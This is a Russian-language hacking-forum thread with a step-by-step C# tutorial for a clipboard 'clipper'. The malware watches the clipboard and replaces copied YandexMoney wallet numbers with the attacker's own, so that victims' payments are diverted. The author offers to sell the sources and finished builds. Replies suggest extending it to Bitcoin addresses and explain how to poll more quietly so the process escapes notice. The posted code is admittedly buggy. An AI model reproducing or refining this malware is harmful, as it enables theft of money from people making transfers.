Загрузка...

Авторская статья Делаем свой клиппер на C#

Тема в разделе C# создана пользователем Kenny911 14 мар 2018. 2142 просмотра

Загрузка...
  1. Kenny911
    Kenny911 Автор темы 14 мар 2018 Заблокирован(а) 26 12 янв 2018
    И так, последнее время заметил на "хайпе" клипперы, появилось много тем о продаже такого добра, поэтому решил рассказать как можно самому настряпать клиппер.

    Для начала разберемся что это такое да с чем его едят

    Клиппер проверяет буфер обмена на наличие в нем адресов кошельков(или любых других значений), а затем как только получает подходящие значение меняет его на заданное вами. Допустим человек хочет перевести деньги на определенный номер, для примера это будет "12377732323", копирует этот номер,а когда вставляет то вставляется уже ваш номер"228133722", ну и денежки уже переводятся на ваш счет.

    Ну вот что это такое разобрались, теперь переходим к воплощению этого творения

    Писать мы будем на c#, ну и ясно понятно для этого нам понадобится VisualStudio, если нет - скачиваем тут
    Запускаем Visual Stusio и создаем новый проект - Приложение Windows Forms (.NET Framework)
    Открываем код формы и видим что то подобное
    Код

    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;

    namespace [название вашего проекта]
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    InitializeComponent();
    }
    }
    }
    Подключим все необходимое - стираем все строки с using и вставляем на их место это
    Код
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Threading.Tasks;
    using System.Windows.Forms;
    using Microsoft.Win32;
    Отлично, теперь сам клиппер. Сначала добавим все наши кошельки, которые будем менять, в данном примере рассмотрим только YandexMoney. После InitializeComponent(); на следующей строке пишем это
    Код
     string yandex = "тут ваш номер кошелька";
    Создадим строку получающую значение из буфера обмена
    Код
    string buffer = Clipboard.GetText();
    Далее, мы знаем что номер яндекс кошелька всегда начинается с значения 41 и имеет 15 символов, значит делаем проверку буфера по этим параметрам, и при обнаружении сходства меняем значение на свое
    Код
    if (buffer.StartsWith("41") && buffer.Length == 15) //Проверяем буфер на яндекс
    Clipboard.SetText(yandex); //если опознали яндекс - меняем на свой
    Так же мы знаем что номер кошелька не может содержать пробелов, поэтому добавим еще проверку
    Код
    if (buffer.Contains(" "))
    Console.Write("Это не яндекс");
    else
    if (buffer.StartsWith("41") && buffer.Length == 15)
    Clipboard.SetText(yandex);
    Почти все, но так мы лишь 1 раз проверим буфер на соответствие, поэтому зациклим данную функцию
    Код
    while(true)
    {
    if (buffer.Contains(" "))
    Console.Write("Это не яндекс");
    else
    if (buffer.StartsWith("41") && buffer.Length == 15)
    Clipboard.SetText(yandex);
    }
    Теперь готово, можете компилировать и проверять, ну а далее уже добавляете другие кошельки или что вам угодно. Данный код лишь для примера, того как можно реализовать свой клиппер. Но у него будет иметься небольшой минус - .NET зависимость, хотя он установлен практически на каждом компе. Если тема зайдет расскажу как это проделать без зависимостей на c++

    Ну а если вам влом или до сих пор не поняли как такое сделать - можете заказать у меня, как исходники так и готовый клиппер
     
    14 мар 2018 Изменено
  2. ayan2030
    ayan2030 14 мар 2018 Заблокирован(а) 8 27 фев 2017
    а как сделать проверку буфера на биткойн кошелки?
     
  3. Kenny911
    Kenny911 Автор темы 14 мар 2018 Заблокирован(а) 26 12 янв 2018
    Пример тебе дан и разжеван, а дальше уже сам развивай идею)
     
  4. RaysMorgan
    ayan2030, можно проверить отсутствие пробелов и длину на 30-60 символов (не помню, какой длины адрес битков) и отсутствие http/www в буфере обмена
     
  5. Hangover_inactive59523
    тут нужнен всего 1 юзинг, using System.Windows.Forms;
    Это нужно закоментить вообще, форма тут не нужна и инициализировать её не нужно.
    Это строку нужно в твой цикл вставить, а не вне его, а то ты получаешь 1 раз содержимое буфера и бесконечно чекаешь одно и тоже значение.
    Твой цикл жрёт очень много ресурсов и его сразу найдут в процессах. Ибо он трахает проц оч сильно за короткое время.
    Нужно добавить задрежку:

    1)using System.Threading; в юзинги
    2) Thread.Sleep(500); в конец цикла.

    С такой задержкой мы в любом случае поймаем кош, и к тому же уменьшим жор ** в 10000000000000 раз.

    Есть ещё куча моментов для оптимизации, но как пример выше сказанных достаточно
    А так статья не о чём, что в ней авторского неясно.
     
  6. TomRedl
    TomRedl 14 мар 2018 333 8 мар 2018
    и я ахуел проста.
     
  7. Kenny911
    Kenny911 Автор темы 17 мар 2018 Заблокирован(а) 26 12 янв 2018
    Писал не проверяя :biggrin: Но все же идея понятна, и кто понимает - легко продолжит работу
     
  8. Bartala1
    Bartala1 21 мар 2018 Заблокирован(а) 240 10 ноя 2016
    Такую кривую хрень я ещё не видел,закрыто.
     
Top